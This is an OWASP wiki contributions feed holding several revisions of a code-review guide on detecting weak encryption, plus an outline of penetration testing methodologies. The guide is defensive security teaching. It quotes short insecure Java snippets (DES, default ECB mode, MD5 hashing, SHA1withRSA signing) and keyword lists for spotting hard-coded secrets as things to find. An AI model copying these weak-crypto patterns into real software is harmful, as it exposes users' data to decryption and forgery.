OWASP - User contributions [en]

Testing for Weak Encryption (OTG-CRYPST-004)

2019-08-09T23:37:28Z

Tony Hsu HsiangChih:

== Summary ==
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4.

In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in symmetric encryption.

The testing guide is trying to provide a guideline how to identify the weak encryption and hash.

== How to Test ==

=== Basic Security Checklist ===
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, "java.util.Random" is considered a weak random number generator. "java.security.SecureRandom" should be used instead of "java.util.Random".
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.
* When uses of RSA in signature, PSS padding is recommended.
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)
* Minimum Key length requirement:
Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
Message Integrity: HMAC-SHA2
Message Hash: SHA2 256 bits
Assymetric encryption: RSA 2048 bits
Symmetric-key algorithm: AES 128 bits
Password Hashing: PBKDF2, Scrypt, Bcrypt
ECDH、ECDSA: 256 bits
* Uses of SSH, CBC mode should not be used.
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.

=== Source Code Review ===
* Search for the following keyword to check if any weak encryption algorithm is used.
MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB

* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm.

SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)
SecretKeySpec(byte[] key, int offset, int len, String algorithm)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");

* For the padding mode in RSA Asymmetric encryption, the uses of padding modes :
PKCS#1 v2.1 (PSS, OAEP) -- Recommended

PKCS#1 v1.5 (RSAES, RSASSA) -- Legency uses only.
* Search for "ECB" or "Cipher.getInstance" , the ECB should not be used in symmetric encryption.
The mode of operation needs to be specified since the default will be "ECB" if not specified.<syntaxhighlight lang="java">
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding") ;
</syntaxhighlight>The following implementation will result in using the default "ECB" mode, and should be avoided.<syntaxhighlight lang="java">
Cipher c = Cipher.getInstance("AES");
</syntaxhighlight>
* Review if different IV (initial Vector) is used.
// Use a different IV value for every encryption
byte[] newIv = ...;
s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...

* Search for "IvParameterSpec", check if the IV value is generated differently and randomly.

IvParameterSpec iv = new IvParameterSpec(randBytes);
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, iv);

* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:

MessageDigest md5 = MessageDigest.getInstance("MD5");

* For signature, SHA1 and MD5 should not be used. For example:
Signature sig = Signature.getInstance("SHA1withRSA");

* Search for "PBKDF2". To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.
The iterations should be over 10000, and the salt value should be generated as random value.

private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}

* Hard-coded senstive information
User related keywords: name, root, su, superuser, login, username, uid
Key related keywords: public key, AK, SK, secret Key, private key, passwd, password, pwd, share key, cryto, base64
Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey

== Tools ==
* Mozilla TLS observatory https://github.com/mozilla/tls-observatory
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.
CWE-261: Weak Cryptography for Passwords
CWE-323: Reusing a Nonce, Key Pair in Encryption.
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-547: Use of Hard-coded, Security-relevant Constants
CWE-780 Use of RSA Algorithm without OAEP

== References ==
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html
* IV https://en.wikipedia.org/wiki/Initialization_vector
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding
* [[Cryptographic Storage Cheat Sheet]]
* [[Password Storage Cheat Sheet]]
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms
* [[Insecure Randomness]]
* [[Insufficient Entropy]]
* [[Insufficient Session-ID Length]]
* [[Use of hard-coded cryptographic key]]
* [[Using a broken or risky cryptographic algorithm]]
* [[Testing for SSL-TLS (OWASP-CM-001)]]
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html
* ISO 18033-1:2015 – Encryption Algorithms
* ISO 18033-2:2015 – Asymmetric Ciphers
* ISO 18033-3:2015 – Block Ciphers
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html
* PBKDF2 IETF RFC 2898 and NIST SP 800-132
* HMAC https://www.ietf.org/rfc/rfc2104.txt

= Authors and Primary Editors =
Tony Hsu - hsiang_chih[at]yahoo.com

Testing for Weak Encryption (OTG-CRYPST-004)

2019-08-09T23:29:18Z

Tony Hsu HsiangChih:

== Summary ==
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4.

In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in symmetric encryption.

The testing guide is trying to provide a guideline how to identify the weak encryption and hash.

== How to Test ==

=== Basic Security Checklist ===
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, "java.util.Random" is considered a weak random number generator. "java.security.SecureRandom" should be used instead of "java.util.Random".
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.
* When uses of RSA in signature, PSS padding is recommended.
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)
* Minimum Key length requirement:
Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
Message Integrity: HMAC-SHA2
Message Hash: SHA2 256 bits
Assymetric encryption: RSA 2048 bits
Symmetric-key algorithm: AES 128 bits
Password Hashing: PBKDF2, Scrypt, Bcrypt
ECDH、ECDSA: 256 bits
* Uses of SSH, CBC mode should not be used.
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.

=== Source Code Review ===
* Search for the following keyword to check if any weak encryption algorithm is used.
MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB

* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm.

SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)
SecretKeySpec(byte[] key, int offset, int len, String algorithm)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");

* For RSA encryption, the following padding mode are suggested.
RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)
RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)

* Search for "ECB" or "Cipher.getInstance" , the ECB should not be used in symmetric encryption.
The mode of operation needs to be specified since the default will be "ECB" if not specified.<syntaxhighlight lang="java">
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding") ;
</syntaxhighlight>The following implementation will result in using the default "ECB" mode, and should be avoided.<syntaxhighlight lang="java">
Cipher c = Cipher.getInstance("AES");
</syntaxhighlight>
* Review if different IV (initial Vector) is used.
// Use a different IV value for every encryption
byte[] newIv = ...;
s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...

* Search for "IvParameterSpec", check if the IV value is generated differently and randomly.

IvParameterSpec iv = new IvParameterSpec(randBytes);
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, iv);

* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:

MessageDigest md5 = MessageDigest.getInstance("MD5");

* For signature, SHA1 and MD5 should not be used. For example:
Signature sig = Signature.getInstance("SHA1withRSA");

* Search for "PBKDF2". To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.
The iterations should be over 10000, and the salt value should be generated as random value.

private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}

* Hard-coded senstive information
User related keywords: name, root, su, superuser, login, username, uid
Key related keywords: public key, AK, SK, secret Key, private key, passwd, password, pwd, share key, cryto, base64
Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey

== Tools ==
* Mozilla TLS observatory https://github.com/mozilla/tls-observatory
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.
CWE-261: Weak Cryptography for Passwords
CWE-323: Reusing a Nonce, Key Pair in Encryption.
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-547: Use of Hard-coded, Security-relevant Constants
CWE-780 Use of RSA Algorithm without OAEP

== References ==
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html
* IV https://en.wikipedia.org/wiki/Initialization_vector
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding
* [[Cryptographic Storage Cheat Sheet]]
* [[Password Storage Cheat Sheet]]
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms
* [[Insecure Randomness]]
* [[Insufficient Entropy]]
* [[Insufficient Session-ID Length]]
* [[Use of hard-coded cryptographic key]]
* [[Using a broken or risky cryptographic algorithm]]
* [[Testing for SSL-TLS (OWASP-CM-001)]]
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html
* ISO 18033-1:2015 – Encryption Algorithms
* ISO 18033-2:2015 – Asymmetric Ciphers
* ISO 18033-3:2015 – Block Ciphers
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html
* PBKDF2 IETF RFC 2898 and NIST SP 800-132
* HMAC https://www.ietf.org/rfc/rfc2104.txt

= Authors and Primary Editors =
Tony Hsu - hsiang_chih[at]yahoo.com

Testing for Weak Encryption (OTG-CRYPST-004)

2019-08-09T23:28:26Z

Tony Hsu HsiangChih: /* Tools */

== Summary ==
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4.

In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in symmetric encryption.

The testing guide is trying to provide a guideline how to identify the weak encryption and hash.

== How to Test ==

=== Basic Security Checklist ===
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, "java.util.Random" is considered a weak random number generator. "java.security.SecureRandom" should be used instead of "java.util.Random".
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.
* When uses of RSA in signature, PSS padding is recommended.
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)
* Minimum Key length requirement:
Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
Message Integrity: HMAC-SHA2
Message Hash: SHA2 256 bits
Assymetric encryption: RSA 2048 bits
Symmetric-key algorithm: AES 128 bits
Password Hashing: PBKDF2, Scrypt, Bcrypt
ECDH、ECDSA: 256 bits
* Uses of SSH, CBC mode should not be used.
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.

=== Source Code Review ===
* Search for the following keyword to check if any weak encryption algorithm is used.
MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB

* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm.

SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)
SecretKeySpec(byte[] key, int offset, int len, String algorithm)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");

* For RSA encryption, the following padding mode are suggested.
RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)
RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)

* Search for "ECB" or "Cipher.getInstance" , the ECB should not be used in symmetric encryption.
The mode of operation needs to be specified since the default will be "ECB" if not specified.<syntaxhighlight lang="java">
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding") ;
</syntaxhighlight>The following implementation will result in using the default "ECB" mode.<syntaxhighlight lang="java">
Cipher c = Cipher.getInstance("AES");
</syntaxhighlight>
* Review if different IV (initial Vector) is used.
// Use a different IV value for every encryption
byte[] newIv = ...;
s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...

* Search for "IvParameterSpec", check if the IV value is generated differently and randomly.

IvParameterSpec iv = new IvParameterSpec(randBytes);
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, iv);

* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:

MessageDigest md5 = MessageDigest.getInstance("MD5");

* For signature, SHA1 and MD5 should not be used. For example:
Signature sig = Signature.getInstance("SHA1withRSA");

* Search for "PBKDF2". To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.
The iterations should be over 10000, and the salt value should be generated as random value.

private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}

* Hard-coded senstive information
User related keywords: name, root, su, superuser, login, username, uid
Key related keywords: public key, AK, SK, secret Key, private key, passwd, password, pwd, share key, cryto, base64
Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey

== Tools ==
* Mozilla TLS observatory https://github.com/mozilla/tls-observatory
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.
CWE-261: Weak Cryptography for Passwords
CWE-323: Reusing a Nonce, Key Pair in Encryption.
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-547: Use of Hard-coded, Security-relevant Constants
CWE-780 Use of RSA Algorithm without OAEP

== References ==
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html
* IV https://en.wikipedia.org/wiki/Initialization_vector
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding
* [[Cryptographic Storage Cheat Sheet]]
* [[Password Storage Cheat Sheet]]
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms
* [[Insecure Randomness]]
* [[Insufficient Entropy]]
* [[Insufficient Session-ID Length]]
* [[Use of hard-coded cryptographic key]]
* [[Using a broken or risky cryptographic algorithm]]
* [[Testing for SSL-TLS (OWASP-CM-001)]]
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html
* ISO 18033-1:2015 – Encryption Algorithms
* ISO 18033-2:2015 – Asymmetric Ciphers
* ISO 18033-3:2015 – Block Ciphers
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html
* PBKDF2 IETF RFC 2898 and NIST SP 800-132
* HMAC https://www.ietf.org/rfc/rfc2104.txt

= Authors and Primary Editors =
Tony Hsu - hsiang_chih[at]yahoo.com

Testing for Weak Encryption (OTG-CRYPST-004)

2019-08-09T23:25:11Z

Tony Hsu HsiangChih:

== Summary ==
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4.

In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in symmetric encryption.

The testing guide is trying to provide a guideline how to identify the weak encryption and hash.

== How to Test ==

=== Basic Security Checklist ===
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, "java.util.Random" is considered a weak random number generator. "java.security.SecureRandom" should be used instead of "java.util.Random".
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.
* When uses of RSA in signature, PSS padding is recommended.
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)
* Minimum Key length requirement:
Key exchange: Diffie–Hellman key exchange with minimum 2048 bits
Message Integrity: HMAC-SHA2
Message Hash: SHA2 256 bits
Assymetric encryption: RSA 2048 bits
Symmetric-key algorithm: AES 128 bits
Password Hashing: PBKDF2, Scrypt, Bcrypt
ECDH、ECDSA: 256 bits
* Uses of SSH, CBC mode should not be used.
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000. [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.

=== Source Code Review ===
* Search for the following keyword to check if any weak encryption algorithm is used.
MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB

* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm.

SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)
SecretKeySpec(byte[] key, int offset, int len, String algorithm)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");

* For RSA encryption, the following padding mode are suggested.
RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)
RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)

* Search for "ECB" or "Cipher.getInstance" , the ECB should not be used in symmetric encryption.
The mode of operation needs to be specified since the default will be "ECB" if not specified.<syntaxhighlight lang="java">
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding") ;
</syntaxhighlight>The following implementation will result in using the default "ECB" mode.<syntaxhighlight lang="java">
Cipher c = Cipher.getInstance("AES");
</syntaxhighlight>
* Review if different IV (initial Vector) is used.
// Use a different IV value for every encryption
byte[] newIv = ...;
s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...

* Search for "IvParameterSpec", check if the IV value is generated differently and randomly.

IvParameterSpec iv = new IvParameterSpec(randBytes);
SecretKeySpec skey = new SecretKeySpec(key.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skey, iv);

* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:

MessageDigest md5 = MessageDigest.getInstance("MD5");

* For signature, SHA1 and MD5 should not be used. For example:
Signature sig = Signature.getInstance("SHA1withRSA");

* Search for "PBKDF2". To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.
The iterations should be over 10000, and the salt value should be generated as random value.

private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
throws NoSuchAlgorithmException, InvalidKeySpecException
{
PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);
SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);
return skf.generateSecret(spec).getEncoded();
}

* Hard-coded senstive information
User related keywords: name, root, su, superuser, login, username, uid
Key related keywords: public key, AK, SK, secret Key, private key, passwd, password, pwd, share key, cryto, base64
Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey

== Tools ==
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.
CWE-261: Weak Cryptography for Passwords
CWE-323: Reusing a Nonce, Key Pair in Encryption.
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-347: Improper Verification of Cryptographic Signature
CWE-354: Improper Validation of Integrity Check Value
CWE-547: Use of Hard-coded, Security-relevant Constants
CWE-780 Use of RSA Algorithm without OAEP

== References ==
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html
* IV https://en.wikipedia.org/wiki/Initialization_vector
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding
* [[Cryptographic Storage Cheat Sheet]]
* [[Password Storage Cheat Sheet]]
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms
* [[Insecure Randomness]]
* [[Insufficient Entropy]]
* [[Insufficient Session-ID Length]]
* [[Use of hard-coded cryptographic key]]
* [[Using a broken or risky cryptographic algorithm]]
* [[Testing for SSL-TLS (OWASP-CM-001)]]
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html
* ISO 18033-1:2015 – Encryption Algorithms
* ISO 18033-2:2015 – Asymmetric Ciphers
* ISO 18033-3:2015 – Block Ciphers
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html
* PBKDF2 IETF RFC 2898 and NIST SP 800-132
* HMAC https://www.ietf.org/rfc/rfc2104.txt

= Authors and Primary Editors =
Tony Hsu - hsiang_chih[at]yahoo.com

Penetration testing methodologies

2019-02-20T03:27:44Z

Tony Hsu HsiangChih:

== Summary ==
* OWASP testing guide
* PCI Penetration testing guide
* Penetration Testing Execution Standard
* NIST 800-115
* Penetration Testing Framework
* Information Systems Security Assessment Framework (ISSAF)
* Open Source Security Testing Methodology Manual (“OSSTMM”)
* FedRAMP Penetration Test Guidance
* CREST Penetration Testing Guide

== Penetration Testing Execution Standard (PTES) ==
PTES defines penetration testing as 7 phases.

* Pre-engagement Interactions
* Intelligence Gathering
* Threat Modeling
* Vulnerability Analysis
* Exploitation
* Post Exploitation
* Reporting

Instead of simply methodology or process, PTES also provides hands-on technical guidelines for what/how to test, the rationale of testing and recommended testing tools and usage.

http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines

== PCI Penetration testing guide ==
Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 defines the penetration testing.
PCI also defines Penetration Testing Guidance.

=== PCI DSS Penetration Testing guidance ===
The PCI DSS Penetration testing guideline provides a very good reference of the following area while it's not a hands-on technical guideline to introduce testing tools.

* Penetration Testing Components
* Qualifications of a Penetration Tester
* Penetration Testing Methodologies
* Penetration Testing Reporting Guidelines

=== PCI DSS Penetration Testing Requirements ===
The PCI DSS requirement refer to Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3
* Based on industry-accepted approaches
* Coverage for CDE and critical systems
* Includes external and internal testing
* Test to validate scope reduction
* Application-layer testing
* Network-layer tests for network and OS

== Penetration Testing Framework ==
The Penetration testing framework provides very comprehensive hands-on penetration testing guide. It also list usage of the testing tools in each testing category. The major area of penetration testing includes -

* Network Footprinting (Reconnaissance)
* Discovery & Probing
* Enumeration
* Password cracking
* Vulnerability Assessment
* AS/400 Auditing
* Bluetooth Specific Testing
* Cisco Specific Testing
* Citrix Specific Testing
* Network Backbone
* Server Specific Tests
* VoIP Security
* Wireless Penetration
* Physical Security
* Final Report - template

http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

== Technical Guide to Information Security Testing and Assessment (NIST800-115)==

== Information Systems Security Assessment Framework (ISSAF) ==

The ISSAF is a very good reference source of penetration testing though Information Systems Security Assessment Framework (ISSAF) which is not an active community. It provides comprehensive step-by-step penetration testing technical guidance.

The ISSAF penetration testing guide can be downloaded here. https://sourceforge.net/projects/isstf/

It covers the area below.
* Project Management
* Guidelines And Best Practices – Pre Assessment, Assessment And Post Assessment
* Assessment Methodology
* Review Of Information Security Policy And Security Organization
* Evaluation Of Risk Assessment Methodology
* Technical Control Assessment
* Technical Control Assessment - Methodology
* Password Security
* Password Cracking Strategies
* Unix /Linux System Security Assessment
* Windows System Security Assessment
* Novell Netware Security Assessment
* Database Security Assessment
* Wireless Security Assessment
* Switch Security Assessment
* Router Security Assessment
* Firewall Security Assessment
* Intrusion Detection System Security Assessment
* VPN Security Assessment
* Anti-Virus System Security Assessment And Management Strategy
* Web Application Security Assessment
* Storage Area Network (San) Security
* Internet User Security
* As 400 Security
* Source Code Auditing
* Binary Auditing
* Social Engineering
* Physical Security Assessment
* Incident Analysis
* Review Of Logging / Monitoring & Auditing Processes
* Business Continuity Planning And Disaster Recovery
* Security Awareness And Training
* Outsourcing Security Concerns
* Knowledge Base
* Legal Aspects Of Security Assessment Projects
* Non-Disclosure Agreement (NDA)
* Security Assessment Contract
* Request For Proposal Template
* Desktop Security Check-List - Windows
* Linux Security Check-List
* Solaris Operating System Security Check-List
* Default Ports - Firewall
* Default Ports – IDS/IPS
* Links
* Penetration Testing Lab Design

== Open Source Security Testing Methodology Manual (OSSTMM) ==
OSSTMM is a methodology to test the operational security of physical locations, workflow, human security testing, physical security testing, wireless security testing, telecommunication security testing, data networks security testing and compliance.
OSSTMM can be supporting reference of IOS 27001 instead of a hands-on penetration testing guide.

OSSTMM includes the following key sections:
** Operational Security Metrics
** Trust Analysis
** Work Flow.
** Human Security Testing
** Physical Security Testing
** Wireless Security Testing
** Telecommunications Security Testing
** Data Networks Security Testing
** Compliance Regulations
** Reporting with the STAR (Security Test Audit Report)

== FedRAMP Penetration Test Guidance ==
To be updated

== CREST Penetration Testing Guide ==

== Reference ==
* https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf
* http://www.pentest-standard.org/index.php/Main_Page
* http://www.isecom.org/research/osstmm.html
* http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf
